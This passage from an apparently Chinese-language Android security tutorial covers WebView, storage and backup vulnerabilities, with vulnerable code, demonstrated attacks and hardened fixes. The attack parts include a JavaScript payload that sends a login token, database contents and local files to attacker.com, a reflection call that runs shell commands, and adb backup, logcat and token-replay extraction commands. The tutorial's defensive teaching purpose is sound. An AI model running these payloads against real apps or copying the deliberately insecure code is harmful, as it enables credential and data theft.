            if (id != null && id.matches("\\d+")) {
                openOrderDetail(id);
            }
        } else {
            openHomePage();
        }
    }
}

4.2.6 漏洞 5:WebView 安全(★ 移动端 RCE 的主要来源)

★ 为什么 WebView 危险: WebView 本质上是一个内嵌的浏览器,它有 JS 引擎、能加载 file://、能通过 JS 调 Java。 一个配置错误的 WebView = 一个拿了你 App 权限的浏览器。

五个致命配置(★ 面试必背):

配置 危险值 后果 安全值
setJavaScriptEnabled true(且加载不可信页面) JS 可执行 加载可信页面可开;加载外部页面要评估
addJavascriptInterface 给不可信页面加了 ★ JS 可调 Java 方法 = RCE(Android 4.2 以下无防护) Android 4.2+ 必须给方法加 @JavascriptInterface;绝不给不可信页面加
setAllowFileAccessFromFileURLs true file:// 页面里的 JS 能读本地文件 false
setAllowUniversalAccessFromFileURLs true ★ file:// 页面里的 JS 能读任意文件(包括其他 App 的) false
setAllowContentAccess true file:// 能访问 ContentProvider false(不需要时)
setSavePassword true 明文保存密码 false(已废弃)

漏洞代码:

/**
 * ❌❌❌ 典型危险 WebView 配置(这是移动端 RCE 的经典写法)
 */
public class VulnerableWebActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        WebView webView = findViewById(R.id.webview);
        WebSettings settings = webView.getSettings();

        settings.setJavaScriptEnabled(true);

        // ❌❌❌ 致命:给 WebView 注入了 Java 对象
        webView.addJavascriptInterface(new JsBridge(this), "nativeBridge");
        //     ↑ 页面里的 JS 可以执行:nativeBridge.getClass()... 反射调用任意方法
        //       Android 4.2 (API 17) 以下,【没有 @JavascriptInterface 也能调】
        //       通过反射能拿到 Runtime 执行命令 → RCE

        // ❌❌❌ 致命:允许 file:// 页面读任意文件
        settings.setAllowFileAccessFromFileURLs(true);
        settings.setAllowUniversalAccessFromFileURLs(true);
        settings.setAllowContentAccess(true);

        // ❌ 危险:直接用外部传入的 URL
        String url = getIntent().getStringExtra("url");
        webView.loadUrl(url);       // ★ 攻击者传 file:///data/data/.../users.db
    }

    /**
     * ❌ 危险:暴露给 JS 的 Java 对象
     */
    public class JsBridge {
        private Context ctx;
        JsBridge(Context c) { this.ctx = c; }

        // ❌ 没有 @JavascriptInterface 注解(Android 4.2 以下仍可调用)
        public String getToken() {
            return SessionManager.getToken();        // ★ JS 能拿到登录 Token
        }
        public String execSql(String sql) {
            return db.rawQuery(sql);                 // ★ JS 能执行任意 SQL
        }
        public void sendSms(String to, String content) {
            SmsManager.getDefault().sendTextMessage(to, null, content, null, null);
        }                                            // ★ JS 能发短信(扣费)
    }
}

攻击 Payload(真实可用):

<!-- 攻击者诱导 WebView 加载这个页面 -->
<html>
<body>
<script>
// ===== 攻击 1:拿到登录 Token =====
var token = nativeBridge.getToken();
fetch("https://attacker.com/steal?t=" + token);

// ===== 攻击 2:执行任意 SQL =====
var data = nativeBridge.execSql("SELECT * FROM users");
fetch("https://attacker.com/steal?d=" + encodeURIComponent(data));

// ===== 攻击 3(Android 4.2 以下):反射 RCE =====
// JS 能拿到 Java 对象的 Class,然后反射调用任意方法
function execute(cmdArgs) {
    // 通过 getClass() 拿到 Runtime,执行命令
    var runtime = nativeBridge.getClass()
        .forName("java.lang.Runtime")
        .getMethod("getRuntime", null)
        .invoke(null, null);
    runtime.exec(cmdArgs);
}
execute(["/system/bin/sh", "-c", "cat /data/data/com.example.bank/databases/users.db > /sdcard/leak.db"]);

// ===== 攻击 4:读取本地文件(需要 setAllowUniversalAccessFromFileURLs=true)=====
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.example.bank/shared_prefs/config.xml", false);
xhr.send();
fetch("https://attacker.com/steal?f=" + encodeURIComponent(xhr.responseText));

// ===== 攻击 5:发短信扣费 =====
nativeBridge.sendSms("1066xxxx", "订阅服务");
</script>
</body>
</html>

✅ 完整的安全 WebView 配置:

/**
 * ✅✅✅ 安全 WebView 配置(生产可用模板)
 */
public class SecureWebActivity extends Activity {

    private WebView webView;

    /** ★ 允许的域名白名单 */
    private static final Set<String> ALLOWED_HOSTS =
            Set.of("app.example.com", "m.example.com", "pay.example.com");

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_web);

        webView = findViewById(R.id.webview);
        configureSecureWebView(webView);

        Uri uri = getIntent().getData();
        if (uri != null && isAllowedUrl(uri)) {
            webView.loadUrl(uri.toString());
        } else {
            Log.e("SEC", "拒绝加载非白名单 URL: " + uri);
            finish();
        }
    }

    private void configureSecureWebView(WebView wv) {
        WebSettings settings = wv.getSettings();

        // ===== ① JS 开关:按需开启,加载外部页面要评估 =====
        settings.setJavaScriptEnabled(true);   // 业务需要就开,但要配合下面的白名单

        // ===== ② ★★ 三个 file 相关配置,全部关掉 =====
        settings.setAllowFileAccess(false);                        // ★ 禁止 file:// 访问
        settings.setAllowFileAccessFromFileURLs(false);            // ★ 默认值已是 false,但要显式写
        settings.setAllowUniversalAccessFromFileURLs(false);       // ★★ 最关键
        settings.setAllowContentAccess(false);                     // ★ 禁止访问 ContentProvider

        // ===== ③ 存储相关 =====
        settings.setSavePassword(false);                           // 不保存密码
        settings.setSaveFormData(false);                           // 不保存表单
        settings.setDomStorageEnabled(true);                       // 业务需要,但注意数据会落盘
        settings.setDatabaseEnabled(false);

        // ===== ④ ★ 地理定位:默认关闭,用时弹窗确认 =====
        settings.setGeolocationEnabled(false);

        // ===== ⑤ 其他安全配置 =====
        settings.setAllowFileAccessFromFileURLs(false);
        // ★ 禁止通过 <img src> 等加载混合内容
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
            settings.setMixedContentMode(
                    WebSettings.MIXED_CONTENT_NEVER_ALLOW);        // ★ 禁止 HTTP/HTTPS 混合
        }

        // ===== ⑥ 不缓存敏感页面 =====
        settings.setCacheMode(WebSettings.LOAD_NO_CACHE);

        // ===== ⑦ ★ WebViewClient:拦截所有 URL 跳转,做白名单 =====
        wv.setWebViewClient(new WebViewClient() {

            @Override
            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
                Uri uri = request.getUri();

                // ★ 白名单校验(★ 最关键的一道)
                if (!isAllowedUrl(uri)) {
                    Log.e("SEC", "拦截非白名单跳转: " + uri);
                    return true;      // ★ 返回 true = 拦截,不让 WebView 加载
                }

                // ★ 特殊 scheme 处理(tel:、sms:、alipays: 等)
                String scheme = uri.getScheme();
                if (scheme != null && !scheme.equals("http") && !scheme.equals("https")) {
                    if (Set.of("tel", "sms", "mailto", "alipays", "weixin").contains(scheme)) {
                        try {
                            Intent intent = new Intent(Intent.ACTION_VIEW, uri);
                            startActivity(intent);
                        } catch (Exception e) {
                            Log.e("SEC", "无法处理 scheme: " + scheme);
                        }
                    } else {
                        Log.e("SEC", "拦截未知 scheme: " + scheme);   // ★ 防 Intent Scheme 攻击
                    }
                    return true;      // ★ 不让 WebView 处理
                }

                return false;         // 让 WebView 正常加载
            }

            /**
             * ★ SSL 错误处理:绝不能"忽略证书错误"继续加载!
             */
            @Override
            public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
                // ❌❌❌ 绝对禁止:handler.proceed();   ← 这等于接受中间人攻击
                Log.e("SEC", "SSL 错误,已阻止加载: " + error.getPrimaryError());
                handler.cancel();        // ★ 取消加载
                showErrorPage("证书校验失败,页面已阻止");
            }

            @Override
            public void onPageFinished(WebView view, String url) {
                // ★ 页面加载完,检查当前 URL 是否还在白名单(防页面内跳转绕过)
                if (!isAllowedUrl(Uri.parse(url))) {
                    Log.e("SEC", "页面跳转到非白名单地址,清空: " + url);
                    view.stopLoading();
                    view.loadUrl("about:blank");
                }
            }
        });

        // ===== ⑧ ★ WebChromeClient:控制 JS 弹窗(防钓鱼弹窗)=====
        wv.setWebChromeClient(new WebChromeClient() {
            @Override
            public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
                // ★ 自定义弹窗,显示来源域名(防"假冒系统弹窗"骗密码)
                new AlertDialog.Builder(SecureWebActivity.this)
                        .setTitle("来自 " + Uri.parse(url).getHost() + " 的提示")
                        .setMessage(message)
                        .setPositiveButton("确定", (d, w) -> result.confirm())
                        .show();
                return true;      // ★ 拦截默认弹窗
            }

            @Override
            public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
                // 同理,自己处理
                return true;
            }

            @Override
            public void onGeolocationPermissionsShowPrompt(String origin,
                    GeolocationPermissions.Callback callback) {
                // ★ 定位权限要弹窗让用户确认,不能自动同意
                new AlertDialog.Builder(SecureWebActivity.this)
                        .setTitle("位置权限请求")
                        .setMessage("网站 " + origin + " 请求获取您的位置")
                        .setPositiveButton("允许",
                                (d, w) -> callback.invoke(origin, true, false))
                        .setNegativeButton("拒绝",
                                (d, w) -> callback.invoke(origin, false, false))
                        .show();
            }
        });

        // ===== ⑨ ★★ addJavascriptInterface:要么不加,要么极其谨慎 =====
        //  方案 A(推荐):完全不加 JS Bridge,用其他方式通信
        //     ① 用 URL Scheme(shouldOverrideUrlLoading 拦截)
        //     ② 用 WebMessage API(Android 6+,更安全)
        //     ③ 用 prompt() + onJsPrompt 拦截

        //  方案 B(如果必须加):严格限制
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
            wv.addJavascriptInterface(new SafeJsBridge(), "nativeBridge");
            // ★ 注意:SafeJsBridge 的每个公开方法都必须加 @JavascriptInterface
            //        而且只能给【自己可控的页面】加,加载外部页面前要 removeJavascriptInterface
        }
    }

    /**
     * ✅ 安全的 JS Bridge:方法白名单 + 注解 + 参数校验
     */
    public static class SafeJsBridge {

        /** ✅ 加了注解(Android 4.2+ 只有加注解的方法才能被 JS 调用)*/
        @JavascriptInterface
        public String getAppVersion() {
            return BuildConfig.VERSION_NAME;      // ✅ 安全:只返回非敏感信息
        }

        @JavascriptInterface
        public void closePage() {
            // ✅ 安全:只做 UI 操作
        }

        // ❌ 绝不能暴露这类方法:
        //   @JavascriptInterface public String getToken()      ← 泄露凭据
        //   @JavascriptInterface public void execSql(String s) ← SQL 注入
        //   @JavascriptInterface public Object getContext()    ← 反射 RCE 的起点

        // ★ 注意:即便只暴露了安全方法,攻击者仍可通过 getClass() 反射(Android 4.2 以下)
        //   所以 minSdkVersion 必须 >= 17
    }

    /**
     * ★ URL 白名单校验(严格比对 host,不是 contains)
     */
    private boolean isAllowedUrl(Uri uri) {
        if (uri == null) return false;

        String scheme = uri.getScheme();
        if (!"https".equals(scheme)) {
            return false;      // ★ 强制 HTTPS,不允许 http 和 file
        }

        String host = uri.getHost();
        if (host == null) return false;

        // ★ 精确比对,不是 contains(防 app.example.com.evil.com)
        return ALLOWED_HOSTS.contains(host.toLowerCase());
    }

    @Override
    protected void onDestroy() {
        if (webView != null) {
            // ★ 清理,防止内存泄漏和残留数据
            webView.stopLoading();
            webView.setWebViewClient(null);
            webView.setWebChromeClient(null);
            webView.removeJavascriptInterface("nativeBridge");
            webView.clearHistory();
            webView.clearCache(true);
            webView.loadUrl("about:blank");
            webView.destroy();
        }
        super.onDestroy();
    }
}

4.2.7 Android 组件安全 Checklist

# 检查项 优先级
1 所有组件显式声明 android:exported(不要依赖默认行为) ★★★
2 不需要对外暴露的组件全部 exported=false ★★★
3 必须暴露的用 protectionLevel="signature" 的自定义权限保护 ★★★
4 敏感 Activity 在 onCreate 里校验登录态(不能只靠入口) ★★★
5 ContentProvider 用 UriMatcher 限制 URI + 投影白名单 ★★★
6 BroadcastReceiver 用 LocalBroadcastManager 或加权限 ★★
7 Deeplink 用 AppLink(https + autoVerify),不用自定义 scheme ★★★
8 Deeplink 参数严格白名单,绝不直接传给 WebView ★★★
9 WebView:三个 file 相关配置全部 false ★★★
10 WebView:onReceivedSslError 里绝不调 handler.proceed() ★★★
11 WebView:minSdkVersion >= 17,JS Bridge 方法必须加 @JavascriptInterface ★★★
12 WebView:只加载白名单 https 域名,shouldOverrideUrlLoading 拦截一切 ★★★
13 禁止导出组件在 adb shell am start 下可直接打开(自检方法) ★★

★ 一键自检脚本:

#!/bin/bash
# android_component_audit.sh —— Android 组件暴露自检
# 用法:./android_component_audit.sh app-debug.apk

APK=$1
echo "========== Android 组件暴露自检:$APK =========="

# ① 反编译出 AndroidManifest.xml
apktool d -f "$APK" -o /tmp/apk_audit_$$ 2>/dev/null
MANIFEST="/tmp/apk_audit_$$/AndroidManifest.xml"

if [ ! -f "$MANIFEST" ]; then
    echo "[!] 反编译失败,请确认已安装 apktool"
    exit 1
fi

echo ""
echo "【1】导出的 Activity(exported=true 或有 intent-filter)"
grep -oE '<activity[^>]*android:name="[^"]*"[^>]*>' "$MANIFEST" | \
    grep -E 'exported="true"' | sed 's/.*android:name="/  [!] /;s/".*//'
grep -B1 -A5 '<intent-filter' "$MANIFEST" | grep -oE 'android:name="\.[^"]*"' | \
    sort -u | sed 's/android:name="/  [?] 有 intent-filter(可能默认导出): /;s/"//'

echo ""
echo "【2】导出的 Service"
grep -oE '<service[^>]*android:name="[^"]*"[^>]*(exported="true")?[^>]*>' "$MANIFEST" | \
    grep -E 'exported="true"' | sed 's/.*android:name="/  [!] /;s/".*//'

echo ""
echo "【3】导出的 Receiver"
grep -oE '<receiver[^>]*android:name="[^"]*"[^>]*(exported="true")?[^>]*>' "$MANIFEST" | \
    grep -E 'exported="true"' | sed 's/.*android:name="/  [!] /;s/".*//'

echo ""
echo "【4】导出的 Provider(★ 最危险)"
grep -oE '<provider[^>]*android:name="[^"]*"[^>]*(exported="true")?[^>]*>' "$MANIFEST" | \
    grep -E 'exported="true"' | sed 's/.*android:name="/  [!] /;s/".*//'

echo ""
echo "【5】危险配置检查"
grep -q 'android:allowBackup="true"' "$MANIFEST" && \
    echo "  [!] allowBackup=true(可用 adb backup 导出数据)→ 应设为 false"
grep -q 'android:debuggable="true"' "$MANIFEST" && \
    echo "  [!] debuggable=true(可被调试/注入)→ 生产必须为 false"
grep -q 'android:usesCleartextTraffic="true"' "$MANIFEST" && \
    echo "  [!] usesCleartextTraffic=true(允许明文 HTTP)→ 应设为 false"
grep -q 'android:networkSecurityConfig' "$MANIFEST" || \
    echo "  [?] 未配置 networkSecurityConfig(无法做证书绑定)"

echo ""
echo "【6】Deeplink Scheme(检查是否有自定义 scheme,可能被劫持)"
grep -oE 'android:scheme="[^"]*"' "$MANIFEST" | sort -u | \
    sed 's/android:scheme="/  → /;s/"//'

echo ""
echo "========== 检查完成 =========="
echo "★ 进一步人工复核:"
echo "  1. 用 adb shell am start -n <包名>/<组件名> 尝试直接打开导出组件"
echo "  2. 用 adb shell content query --uri content://<authority> 尝试读 Provider"

rm -rf /tmp/apk_audit_$$

4.3 Android 数据存储与传输安全

4.3.1 五种本地存储方式的安全等级

存储方式 位置 Root 后可读? 加密? 适合存什么
SharedPreferences /data/data/<pkg>/shared_prefs/*.xml ✅ 可读 ❌ 明文 XML 非敏感配置(主题、语言)
SQLite /data/data/<pkg>/databases/*.db ✅ 可读 ❌ 明文 结构化业务数据(敏感字段要加密)
内部文件 /data/data/<pkg>/files/ ✅ 可读 ❌ 缓存文件
外部存储(SD 卡) /sdcard/ ✅ 任何 App 都能读(有权限的话) ❌ 什么都别存敏感的
Android Keystore 硬件/TEE 里 ❌ 密钥取不出来 ✅ ★ 密钥、凭证
EncryptedSharedPreferences 同 SP,但内容加密 读到的是密文 ✅ AES-256-GCM 敏感配置、Token

★ 核心认知(面试必答): “Android 的 /data/data/<包名>/ 目录在未 Root 的设备上是隔离的(Linux 文件权限 + SELinux), 所以很多开发者以为’存在内部存储就是安全的’。

但这个假设在三种情况下不成立: ① 设备被 Root(用户主动 Root、或者系统有提权漏洞)→ 全部可读 ② allowBackup=true → 用 adb backup 就能导出全部数据(不需要 Root!) ③ 物理接触 + 解锁的 bootloader → 刷 recovery 直接读分区

所以正确的做法是: 非敏感数据(配置、缓存)→ SharedPreferences 明文没问题 敏感数据(Token、手机号、身份证)→ 用 EncryptedSharedPreferences 密钥、证书 → 用 Android Keystore(硬件级保护,密钥取不出来) 绝不能存(密码明文、身份证明文)“

4.3.2 漏洞 1:allowBackup 导致数据可被导出(★ 高危且常见)

<!-- ❌❌❌ 危险:allowBackup=true(而且是【默认值】!) -->
<application
    android:allowBackup="true"        <!-- ★ 不写这个属性,默认就是 true -->
    android:fullBackupContent="true">
</application>

攻击(不需要 Root,只需要能插 USB):

# ===== ① 用 adb backup 导出 App 全部数据 =====
adb backup -f backup.ab -noapk com.example.bank
# 手机屏幕会弹出"是否允许备份",点【允许】(很多用户会点)
# 或者用 adb backup -f backup.ab -noapk -shared com.example.bank

# ===== ② 解包 backup.ab(Android backup 格式)=====
# 用 android-backup-extractor
java -jar abe.jar unpack backup.ab backup.tar

# ===== ③ 解压看数据 =====
tar -xvf backup.tar
ls -la apps/com.example.bank/
#   shared_prefs/config.xml     ← ★ Token、手机号、密码明文
#   databases/user.db           ← ★ 整个数据库
#   files/cache.dat
#   ...

cat apps/com.example.bank/shared_prefs/config.xml
# <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
# <map>
#   <string name="auth_token">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...</string>   ← ★ Token
#   <string name="phone">13800138000</string>                                    ← ★ 手机号
#   <string name="password">MyPass123</string>                                   ← ★★ 明文密码!
# </map>

# ===== ④ 直接拿 Token 用 curl 调接口 =====
TOKEN=$(grep -oP '(?<=name="auth_token">)[^<]+' apps/com.example.bank/shared_prefs/config.xml)
curl -H "Authorization: Bearer $TOKEN" https://api.example.com/v1/user/profile
# ★ 完全不需要绕过登录,直接以受害者身份调用接口

✅ 修复:

<!-- ✅ 修复:关闭备份 -->
<application
    android:allowBackup="false"              <!-- ★ 关键 -->
    android:fullBackupContent="false"
    android:dataExtractionRules="@xml/data_extraction_rules">   <!-- Android 12+ -->
</application>
<!-- res/xml/data_extraction_rules.xml(Android 12+)-->
<?xml version="1.0" encoding="utf-8"?>
<data-extraction-rules>
    <cloud-backup>
        <!-- ★ 云端备份:排除所有敏感数据 -->
        <exclude domain="sharedpref" path="auth.xml" />
        <exclude domain="database" path="user.db" />
        <exclude domain="file" path="secrets/" />
    </cloud-backup>
    <device-transfer>
        <!-- ★ 设备迁移(换机):也排除敏感数据 -->
        <exclude domain="sharedpref" path="auth.xml" />
        <exclude domain="database" path="user.db" />
    </device-transfer>
</data-extraction-rules>
<!-- res/xml/backup_rules.xml(Android 11 及以下)-->
<?xml version="1.0" encoding="utf-8"?>
<full-backup-content>
    <exclude domain="sharedpref" path="auth.xml" />
    <exclude domain="database" path="user.db" />
</full-backup-content>

4.3.3 漏洞 2:敏感数据明文存储

漏洞代码:

/**
 * ❌❌❌ 典型漏洞:什么都往 SharedPreferences 里明文塞
 */
public class InsecureStorage {

    public void saveLoginInfo(Context ctx, LoginResponse resp) {
        SharedPreferences sp = ctx.getSharedPreferences("config", MODE_PRIVATE);

        sp.edit()
          .putString("username", resp.getUsername())
          .putString("password", resp.getPassword())       // ❌❌❌ 明文密码!
          .putString("token",    resp.getToken())          // ❌ Token 明文
          .putString("phone",    resp.getPhone())          // ❌ PII 明文
          .putString("idcard",   resp.getIdCard())         // ❌❌ 身份证明文!
          .putString("api_key",  "sk_live_abc123xyz")      // ❌❌❌ API Key 硬编码+明文
          .apply();
    }

    /**
     * ❌ SQLite 里也是明文
     */
    public void saveUser(User user) {
        SQLiteDatabase db = dbHelper.getWritableDatabase();
        ContentValues cv = new ContentValues();
        cv.put("name", user.getName());
        cv.put("idcard", user.getIdCard());         // ❌ 明文身份证
        cv.put("bankcard", user.getBankCard());     // ❌ 明文银行卡
        db.insert("users", null, cv);
    }

    /**
     * ❌ 日志里打印敏感信息(★ 这个最常见也最容易被忽略)
     */
    public void login(String user, String pwd) {
        Log.d("Login", "user=" + user + " password=" + pwd);     // ❌❌❌
        Log.d("Login", "token=" + response.getToken());          // ❌
        Log.d("API", "request: " + requestBody.toString());      // ❌ 可能含密码
    }
}

攻击(看日志就够了):

# ===== ① logcat 抓敏感信息(Root 之前也能看自己 App 的日志,Android 4.1+ 需要 Root 看别人的)=====
adb logcat | grep -iE "password|token|idcard|bankcard"
# D/Login: user=admin password=MyPass123
# D/Login: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# ===== ② Root 后直接读文件 =====
adb shell
su
cat /data/data/com.example.bank/shared_prefs/config.xml
sqlite3 /data/data/com.example.bank/databases/user.db "SELECT * FROM users;"

# ===== ③ 即使不 Root,用 run-as(仅 debuggable 包)=====
adb shell run-as com.example.bank cat shared_prefs/config.xml
# ★ 这就是为什么 debuggable=true 在生产环境是致命的

✅ 修复 1:EncryptedSharedPreferences(★ 推荐,Jetpack Security)

// build.gradle
dependencies {
    implementation "androidx.security:security-crypto:1.1.0-alpha06"
}
/**
 * ✅✅✅ 用 EncryptedSharedPreferences 存敏感数据
 *
 * 原理:
 *   ① 内容用 AES-256-GCM 加密
 *   ② 密钥用 AES-256-GCM 加密后存在 SP 里
 *   ③ 密钥的密钥(master key)存在 Android Keystore 里(硬件保护)
 *   → 即便 Root 读到 SP 文件,也只是一堆密文
 */
public class SecureStorageManager {

    private static final String FILE_NAME = "secure_prefs";
    private static SharedPreferences encryptedPrefs;

    public static synchronized SharedPreferences get(Context ctx) {
        if (encryptedPrefs != null) return encryptedPrefs;

        try {
            // ① 创建/获取 MasterKey(存在 Android Keystore 里)
            MasterKey masterKey = new MasterKey.Builder(ctx)
                    .setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
                    // ★ 可以要求用户认证才能用这个 key(Android 11+)
                    // .setUserAuthenticationRequired(true, 30)   // 30 秒内认证过就行
                    .build();

            // ② 创建加密的 SharedPreferences
            encryptedPrefs = EncryptedSharedPreferences.create(
                    ctx,
                    FILE_NAME,
                    masterKey,
                    // ★ 值的加密方案
                    EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
                    EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM);

            return encryptedPrefs;

        } catch (Exception e) {
            Log.e("SEC", "创建加密 SP 失败", e);
            throw new RuntimeException(e);
        }
    }

    /**
     * ✅ 保存登录凭据(★ 注意:不存密码!)
     */
    public static void saveCredentials(Context ctx, String token,
                                        String refreshToken, long expireAt) {
        get(ctx).edit()
                .putString("auth_token", token)
                .putString("refresh_token", refreshToken)
                .putLong("token_expire_at", expireAt)
                // ★★ 绝不存密码明文,连加密都不存
                //    登录密码用完即弃,只在内存里存在登录的那几秒
                .apply();
    }

    /**
     * ✅ 读取 Token
     */
    public static String getToken(Context ctx) {
        return get(ctx).getString("auth_token", null);
    }

    /**
     * ✅ Token 是否过期
     */
    public static boolean isTokenExpired(Context ctx) {
        long expireAt = get(ctx).getLong("token_expire_at", 0);
        return System.currentTimeMillis() > expireAt;
    }

    /**
     * ✅ 退出登录:清除所有凭据
     */
    public static void clearCredentials(Context ctx) {
        get(ctx).edit()
                .remove("auth_token")
                .remove("refresh_token")
                .remove("token_expire_at")
                .apply();
    }
}

✅ 修复 2:用 Android Keystore 存密钥(★ 密钥取不出来)

/**
 * ✅✅✅ Android Keystore:密钥在硬件/TEE 里,【取不出来】
 *
 * ★ 核心区别:
 *   普通方式:密钥存在文件里 → Root 后能读出来 → 拿到密钥就能解密数据
 *   Keystore:密钥在硬件/TEE 里 → 【只能用它加解密,不能读取密钥本身】
 *            → Root 也拿不到密钥,只能"请求 Keystore 帮我解密"
 *
 * ★ 生活类比:
 *   普通方式 = 你家钥匙藏在门口地垫下(找到了就能开门)
 *   Keystore = 银行的保险箱,你把东西放进去,银行给你个凭证,
 *              想取出来必须本人持证来(取不出"保险箱本身")
 */
public class KeystoreManager {

    private static final String KEY_ALIAS = "com.example.bank.data_key";
    private static final String ANDROID_KEYSTORE = "AndroidKeyStore";
    private static final String TRANSFORMATION = "AES/GCM/NoPadding";

    /**
     * 生成密钥(存在 Keystore 里)
     */
    public static void generateKey() throws Exception {
        KeyGenerator keyGenerator = KeyGenerator.getInstance(
                KeyProperties.KEY_ALGORITHM_AES, ANDROID_KEYSTORE);

        keyGenerator.init(new KeyGenParameterSpec.Builder(
                KEY_ALIAS,
                KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
                .setBlockModes(KeyProperties.BLOCK_MODE_GCM)
                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
                .setKeySize(256)
                // ★ 可以要求用户认证(指纹/密码)才能用这个密钥
                .setUserAuthenticationRequired(true)
                .setUserAuthenticationValidityDurationSeconds(30)
                // ★ 防止密钥被导出(★ 关键!)
                .setUserAuthenticationParameters(0,
                        KeyProperties.AUTH_BIOMETRIC_STRONG
                                | KeyProperties.AUTH_DEVICE_CREDENTIAL)
                // ★ 绑定设备(Android 10+,设备换了密钥失效)
                .setIsStrongBoxBacked(true)     // 如果有 StrongBox(独立安全芯片)就用它
                .build());

        keyGenerator.generateKey();
        Log.i("SEC", "Keystore 密钥已生成");
    }

    /**
     * ✅ 加密数据
     */
    public static byte[] encrypt(byte[] plaintext) throws Exception {
        KeyStore keyStore = KeyStore.getInstance(ANDROID_KEYSTORE);
        keyStore.load(null);
        SecretKey key = (SecretKey) keyStore.getKey(KEY_ALIAS, null);

        Cipher cipher = Cipher.getInstance(TRANSFORMATION);
        cipher.init(Cipher.ENCRYPT_MODE, key);

        byte[] iv = cipher.getIV();                  // GCM 的 IV(12 字节)
        byte[] ciphertext = cipher.doFinal(plaintext);

        // ★ 把 IV 和密文拼在一起存(IV 不需要保密,但每次加密必须不同)
        ByteBuffer bb = ByteBuffer.allocate(4 + iv.length + ciphertext.length);
        bb.putInt(iv.length);
        bb.put(iv);
        bb.put(ciphertext);
        return bb.array();
    }

    /**
     * ✅ 解密数据
     */
    public static byte[] decrypt(byte[] combined) throws Exception {
        ByteBuffer bb = ByteBuffer.wrap(combined);
        int ivLength = bb.getInt();
        byte[] iv = new byte[ivLength];
        bb.get(iv);
        byte[] ciphertext = new byte[bb.remaining()];
        bb.get(ciphertext);

        KeyStore keyStore = KeyStore.getInstance(ANDROID_KEYSTORE);
        keyStore.load(null);
        SecretKey key = (SecretKey) keyStore.getKey(KEY_ALIAS, null);

        Cipher cipher = Cipher.getInstance(TRANSFORMATION);
        cipher.init(Cipher.DECRYPT_MODE, key, new GCMParameterSpec(128, iv));

        return cipher.doFinal(ciphertext);
    }

    /**
     * ✅ 用 Keystore 里的密钥加密后存 SQLite
     */
    public static void saveSensitiveToDb(SQLiteDatabase db, String table,
                                          String idCard, String bankCard) {
        try {
            byte[] encryptedIdCard = encrypt(idCard.getBytes(StandardCharsets.UTF_8));
            byte[] encryptedBank  = encrypt(bankCard.getBytes(StandardCharsets.UTF_8));

            ContentValues cv = new ContentValues();
            cv.put("idcard_encrypted", encryptedIdCard);      // ★ 存密文
            cv.put("bankcard_encrypted", encryptedBank);
            cv.put("idcard_mask", maskIdCard(idCard));        // ★ 同时存脱敏值用于显示
            db.insert(table, null, cv);

        } catch (Exception e) {
            Log.e("SEC", "加密存储失败", e);
            throw new SecurityException("加密存储失败", e);
        }
    }

    private static String maskIdCard(String id) {
        if (id == null || id.length() < 8) return "***";
        return id.substring(0, 4) + "********" + id.substring(id.length() - 4);
    }
}

✅ 修复 3:SQLCipher 加密整个数据库

// build.gradle
dependencies {
    implementation "net.zetetic:sqlcipher:4.5.5"
    implementation "androidx.sqlite:sqlite:2.3.1"
}
/**
 * ✅ 用 SQLCipher 加密整个 SQLite 数据库
 * ★ 适合:整个数据库都敏感的场景(比如本地缓存的聊天记录、病历)
 */
public class SecureDatabaseHelper extends SQLiteOpenHelper {

    private static final String DB_NAME = "secure.db";
    private static final int DB_VERSION = 1;
    private static final char[] PASSPHRASE = loadPassphrase();   // ★ 从 Keystore 取,不硬编码

    public SecureDatabaseHelper(Context context) {
        super(context, DB_NAME, null, DB_VERSION);
        // ★ 加载 SQLCipher 的 so 库
        System.loadLibrary("sqlcipher");
    }

    @Override
    public void onCreate(SQLiteDatabase db) {
        db.execSQL("CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, " +
                   "idcard TEXT, phone TEXT)");
    }

    @Override
    public void onUpgrade(SQLiteDatabase db, int oldV, int newV) {
        db.execSQL("DROP TABLE IF EXISTS users");
        onCreate(db);
    }

    /**
     * ★ 用 SQLCipher 打开数据库(传 passphrase)
     */
    public static SQLiteDatabase open(Context ctx) {
        return SQLiteDatabase.openOrCreateDatabase(
                ctx.getDatabasePath(DB_NAME),
                PASSPHRASE,        // ★ 有 passphrase = 加密;没有 = 明文
                null,
                null);
    }

    /**
     * ★⭐ 关键:passphrase 【绝不能硬编码】,要从 Keystore 取
     */
    private static char[] loadPassphrase() {
        // ① 第一次运行时随机生成,用 Keystore 加密后存 SP
        // ② 之后每次从 SP 读密文,用 Keystore 解密得到 passphrase
        try {
            byte[] encrypted = SecureStorageManager.loadDbPassphrase();
            if (encrypted == null) {
                // 首次:生成随机串
                byte[] random = new byte[32];
                new SecureRandom().nextBytes(random);
                // 用 Keystore 加密后存
                byte[] enc = KeystoreManager.encrypt(random);
                SecureStorageManager.saveDbPassphrase(enc);
                return Base64.encodeToString(random, Base64.DEFAULT).toCharArray();
            }
            byte[] raw = KeystoreManager.decrypt(encrypted);
            return Base64.encodeToString(raw, Base64.DEFAULT).toCharArray();
        } catch (Exception e) {
            throw new RuntimeException("加载数据库密钥失败", e);
        }
    }
}

✅ 修复 4:日志管控(★ 生产环境必须关)

/**
 * ✅ 安全的日志工具类:生产环境自动脱敏 + 关闭 DEBUG 日志
 */
public final class SecureLog {

    private static final boolean DEBUG = BuildConfig.DEBUG;   // ★ 编译期常量,Release 为 false

    /** ★ 需要脱敏的关键词 */
    private static final Pattern[] SENSITIVE_PATTERNS = {
